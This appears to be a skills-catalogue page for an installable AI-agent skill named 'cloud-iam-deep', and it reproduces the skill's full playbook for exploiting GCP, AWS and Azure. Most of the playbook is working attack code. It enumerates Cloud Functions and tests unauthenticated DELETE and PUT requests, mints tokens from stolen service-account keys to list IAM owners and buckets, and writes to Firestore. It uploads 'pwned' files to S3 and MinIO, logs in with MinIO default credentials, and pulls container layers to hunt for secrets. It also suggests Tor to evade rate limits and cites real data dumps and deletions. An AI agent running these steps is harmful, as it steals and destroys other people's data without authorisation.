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cloud-iam-deep

GCP/AWS/Azure cloud exploitation -- Cloud Functions, Firestore, Cloud Run, S3, MinIO, Blob Storage, SA keys

Install / Use

npx skills add uphiago/recon-skills --skill cloud-iam-deep

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

89/100

Category

Security

Supported Platforms

Universal

Our assessment of cloud-iam-deep

cloud-iam-deep scores 89/100 on our quality scale, 545th of 1,108 Security skills we index (top 50%).

Its SKILL.md is 9.5 KB long, well organised into 37 sections with 14 code examples: a thorough specification that gives an agent plenty to work with.

With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
12/15
Adoption
13/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 3 months ago, so cloud-iam-deep is actively maintained.
  • Our last check on 2026-10-31 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to use stolen or discovered cloud credentials (SA keys, Firebase/API keys) to dump sensitive data from Firestore, Cloud Functions, source buckets, Artifact Registry images, S3, and Azure Blob.

AI review: risky

  • Instructs the agent to use stolen or discovered cloud credentials (SA keys, Firebase/API keys) to dump sensitive data from Firestore, Cloud Functions, source buckets, Artifact Registry images, S3, and Azure Blob.
  • Includes active exploitation steps that can destroy or modify victim data, such as testing DELETE on Cloud Functions, PATCH writes to Firestore, and uploading 'pwned' files to S3/MinIO.
  • Provides privilege-escalation workflows (SA key -> GCP token -> IAM policy/storage enumeration) and default-credential abuse (MinIO minioadmin) to gain unauthorized cloud access.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

cloud-iam-deep compared with similar skills

All 4 of these similar skills score higher than cloud-iam-deep; compare them before choosing.

SkillScoreStarsUpdatedFormat
cloud-iam-deep (this skill)by uphiago891.3k3mo agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
Scraplingby D4Vinci100103.6k2d agoMCP Server
crawl4aiby unclecode10087.4k3d agoMCP Server

Frequently asked questions

How do I install cloud-iam-deep?
Run npx skills add uphiago/recon-skills --skill cloud-iam-deep. The install tabs above show the steps for each supported agent.
Which AI agents does cloud-iam-deep work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is cloud-iam-deep safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to use stolen or discovered cloud credentials (SA keys, Firebase/API keys) to dump sensitive data from Firestore, Cloud Functions, source buckets, Artifact Registry images, S3, and Azure Blob. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is cloud-iam-deep still maintained?
The repository was last updated about 3 months ago, so cloud-iam-deep is actively maintained.

name: cloud-iam-deep description: "GCP/AWS/Azure cloud exploitation -- Cloud Functions, Firestore, Cloud Run, S3, MinIO, Blob Storage, SA keys" version: 1.1.0 revision_date: 2026-07-25 license: MIT category: redteam tags: [cloud, IAM, AWS, GCP, Azure, privilege-escalation, redteam]

Cloud IAM Deep -- Cloud Functions, Storage, IAM Exploitation

When to Use

  • After finding Firebase API keys, Supabase keys, or GCP SA keys
  • When a target uses serverless (Cloud Functions, Cloud Run)
  • After finding S3 bucket names or MinIO instances
  • One SA key can escalate to full cloud access

Cloud Functions URL Patterns (GCP)

https://{REGION}-{PROJECT_ID}.cloudfunctions.net/{FUNCTION_NAME}
https://us-central1-{PROJECT_ID}.cloudfunctions.net/api/feed

PROJECT_ID Discovery

projects = ["empresa", "empresa-app", "empresa-prod", "empresa-dev",
            "empresa-1", "empresa-12345", "app-empresa", "admin-1a2b3"]
regions = ["us-central1", "us-east1", "southamerica-east1", "europe-west1"]

for proj in projects:
    for region in regions:
        url = f"https://{region}-{proj}.cloudfunctions.net/api/feed?limit=1"
        try:
            r = requests.get(url, timeout=5)
            if r.status_code != 404 and len(r.text) > 20:
                print(f"DONE {url} -> {r.status_code}")
        except:
            pass

Testing HTTP Methods Without Auth

methods = {
    "GET": requests.get,
    "POST": lambda u: requests.post(u, json={"test": "test"}),
    "PUT": lambda u: requests.put(u, json={"test": "test"}),
    "DELETE": lambda u: requests.delete(u),
}

for method_name, method_func in methods.items():
    try:
        r = method_func(url)
        if r.status_code not in [401, 403, 404, 405]:
            print(f"WARN {method_name} {url} -> {r.status_code} (ACCEPTED!)")
    except:
        pass

Real-world case (CRITICAL): 6 Cloud Functions from fitness tech platform:

  • GET without auth -- dump of 15,800+ posts, 389+ users, real student data
  • DELETE without auth -- confirmed destruction of production data
  • Reflected CORS on ALL 6 functions -- drive-by attack possible
  • 705 PDF tokens leaked

Source Code Buckets (gcf-sources-*)

gcf-sources-{PROJECT_NUMBER}-{REGION}
gcf-v2-sources-{PROJECT_NUMBER}-{REGION}

With SA key read permission:

const {Storage} = require('@google-cloud/storage');
const storage = new Storage({credentials: sa});
const bucket = storage.bucket('gcf-sources-706681009423-us-central1');
const [files] = await bucket.getFiles();
for (const f of files.filter(f => f.name.endsWith('.zip'))) {
    await f.download({destination: '/tmp/' + f.name.replace(/\//g, '_')});
}

Service Account Key -> GCP Token Generation

import json, base64, time, requests
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding as pad
from cryptography.hazmat.backends import default_backend

def get_gcp_token(sa_key):
    """Generates a GCP access token from an SA key."""
    now = int(time.time())
    header = base64.urlsafe_b64encode(
        json.dumps({"alg":"RS256","typ":"JWT"}).encode()
    ).rstrip(b'=').decode()
    claims = {
        "iss": sa_key['client_email'],
        "scope": "https://www.googleapis.com/auth/cloud-platform",
        "aud": sa_key['token_uri'],
        "iat": now,
        "exp": now + 3600
    }
    payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).rstrip(b'=').decode()
    key = load_pem_private_key(
        sa_key['private_key'].encode(), password=None, backend=default_backend()
    )
    signature = base64.urlsafe_b64encode(
        key.sign(f'{header}.{payload}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    ).rstrip(b'=').decode()

    resp = requests.post(sa_key['token_uri'],
        data=f'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion={header}.{payload}.{signature}'.encode(),
        headers={'Content-Type':'application/x-www-form-urlencoded'}, timeout=10)
    return resp.json()['access_token']

# List IAM policy (find owners/admins)
r = requests.get(
    f'https://cloudresourcemanager.googleapis.com/v1/projects/{project_id}:getIamPolicy',
    headers={'Authorization': f'Bearer {token}'}
)
for binding in r.json().get('bindings', []):
    if binding['role'] in ['roles/owner', 'roles/editor']:
        print(f"ROLE {binding['role']}: {binding['members']}")

# List Storage buckets
r = requests.get(
    f'https://storage.googleapis.com/storage/v1/b?project={project_id}',
    headers={'Authorization': f'Bearer {token}'}
)
for bucket in r.json().get('items', []):
    print(f"BUCKET {bucket['name']}")

# Test Firestore access
r = requests.get(
    f'https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents',
    headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
    print("FIRESTORE ACCESSIBLE")

Firebase Open SignUp

curl --max-time 30 --connect-timeout 10 -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY"   -H "Content-Type: application/json"   -d '{"email":"attacker@domain.com","password":"Senha123!","returnSecureToken":true}'

Firestore Public Access Test

curl --max-time 30 --connect-timeout 10 -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores?key=$API_KEY"

# Test WRITE
curl --max-time 30 --connect-timeout 10 -X PATCH "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores/ID?updateMask.fieldPaths=fieldName"   -H "Content-Type: application/json"   -d '{"fields":{"fieldName":{"stringValue":"test"}}}'

Real-world case (CRITICAL): Delivery platform -- 3 Firebase projects:

  • 4,000 stores (CNPJ, GPS, phone, menu) + PATCH write confirmed
  • 204K WhatsApp conversations, 173K customer phone numbers
  • 1K+ public MP3 audio files in Storage

Cloud Run Service Listing

const {v2} = require('@google-cloud/run');
const client = new v2.ServicesClient({credentials: sa});
const [services] = await client.listServices({
    parent: 'projects/' + projectId + '/locations/us-central1'
});
for (const svc of services) {
    console.log(svc.name, svc.uri, svc.ingress);
}

Artifact Registry Image Download and Analysis

# List repositories
r = requests.get(
    f'https://artifactregistry.googleapis.com/v1/projects/{project}/locations/{region}/repositories',
    headers={'Authorization': f'Bearer {token}'}
)

# Download specific image manifest
digest = "sha256:XXXXX"
r = requests.get(
    f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/manifests/{digest}',
    headers={'Authorization': f'Bearer {token}',
             'Accept': 'application/vnd.docker.distribution.manifest.v2+json'}
)

# Download layers
for i, layer in enumerate(r.json().get('layers', [])):
    r2 = requests.get(
        f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/blobs/{layer["digest"]}',
        headers={'Authorization': f'Bearer {token}'}
    )
    with open(f'/tmp/layer_{i}.tar.gz', 'wb') as f:
        f.write(r2.content)

# Extract and search for secrets
# tar -xzf layer.tar.gz
# grep -rE "MIGRATION_TOKEN|APP_KEY|DB_PASSWORD" .

S3 Bucket Enumeration and Upload Testing

# Test if bucket is public
curl --max-time 30 --connect-timeout 10 -s "http://bucket-name.s3.amazonaws.com/"

# Upload (if writable)
curl --max-time 30 --connect-timeout 10 -X PUT "http://bucket-name.s3.amazonaws.com/test.txt"   -H "Content-Type: text/plain" -d "pwned"

# Test common bucket names
for b in "target" "target-prod" "target-dev" "target-images" "target-uploads"          "target-backup" "target-media" "download.target.com" "static.target.com"; do
  r=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$b.s3.amazonaws.com/" 2>/dev/null)
  [ "$r" != "404" ] && echo "$b -> HTTP $r"
done

MinIO Health Check and Admin API

# Health check
curl --max-time 30 --connect-timeout 10 -sI "http://host:9000/minio/health/live"

# Admin API
curl --max-time 30 --connect-timeout 10 -s "http://host:9000/minio/admin/v3/info"

# Web console login (port 9001)
curl --max-time 30 --connect-timeout 10 -X POST "http://host:9001/api/v1/login"   -H "Content-Type: application/json"   -d '{"accessKey":"minioadmin","secretKey":"minioadmin"}'

# List bucket objects
curl --max-time 30 --connect-timeout 10 -s "http://host:9000/bucket-name?list-type=2"

# Upload
curl --max-time 30 --connect-timeout 10 -X PUT "http://host:9000/bucket-name/file.html"   -H "Content-Type: text/html; charset=utf-8" -d "<h1>Pwned</h1>"

Azure Blob Storage Testing

# URL pattern: https://{storage_account}.blob.core.windows.net/{container}
curl --max-time 30 --connect-timeout 10 -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list"

Pitfalls

| Issue | Solution | |-------|----------| | SA key revoked | Monitor usage, rotate keys carefully | | Rate limiting | Space requests, rotate IP via Tor | | False positive project IDs | Verify with simple GET before deep testing | | Cloud Run ingress=internal | Only accessible from VPC; need VPN |

Verification

# Verify SA key works
python3 -c "from google.oauth2 import service_account; creds = service_account.Credentials.from_service_account_file('sa.json'); print(creds.valid)"
# Verify Cloud Function
curl --max-time 30 --connect-timeout 10 -s "https://us-central1-PROJECT.cloudfunctions.net/FUNC" | head -5

Related Skills

View on GitHub
GitHub Stars1.3k
CategorySecurity
Updated2mo ago
Forks215

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions